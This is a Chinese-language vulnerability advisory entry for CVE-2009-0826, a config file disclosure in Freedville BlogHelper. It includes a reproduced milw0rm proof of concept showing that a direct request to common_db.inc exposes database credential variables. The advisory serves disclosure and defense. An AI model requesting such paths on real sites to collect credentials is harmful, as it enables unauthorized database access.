Freedville Bloghelper 'common_db.inc'权限许可和访问控制漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117198 漏洞类型 权限许可和访问控制
发布时间 2009-01-06 更新时间 2009-03-05
CVE编号 CVE-2009-0826 CNNVD-ID CNNVD-200903-103
漏洞平台 PHP CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/7689
https://www.securityfocus.com/bid/79572
https://cxsecurity.com/issue/WLB-2009030139
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-103
|漏洞详情
BlogHelper是一款在网站内构件博客系统的工具程序。BlogHelper在根目录下的common_db.inc,但没有赋予足够的访问控制,这会允许远程攻击者可以借助提交一个直接的请求,下载包含用户凭证的数据库文件。
|漏洞EXP
......

  Remote Config File Disclosure
----------------------------------------------------
script: BlogHelper
   
***************************************************************************
download from:http://www.freedville.com/oss/BlogHelper.zip
   
***************************************************************************
vul:

www.site.com/path/common_db.inc
................................
  $dbhost = "";
  $dbusername = "";
  $dbuserpass = "";
  $default_dbname = ";
..............................
-------------------------------------------------
-------------------------------------------------  
*************************************************

Author: ahmadbady 

*************************************************

# milw0rm.com [2009-01-06]
|受影响的产品
Freedville Bloghelper -
|参考资料

来源:XF
名称:bloghelper-commondb-info-disclosure(47799)
链接:http://xforce.iss.net/xforce/xfdb/47799
来源:MILW0RM
名称:7689
链接:http://www.milw0rm.com/exploits/7689
来源:SECUNIA
名称:33384
链接:http://secunia.com/advisories/33384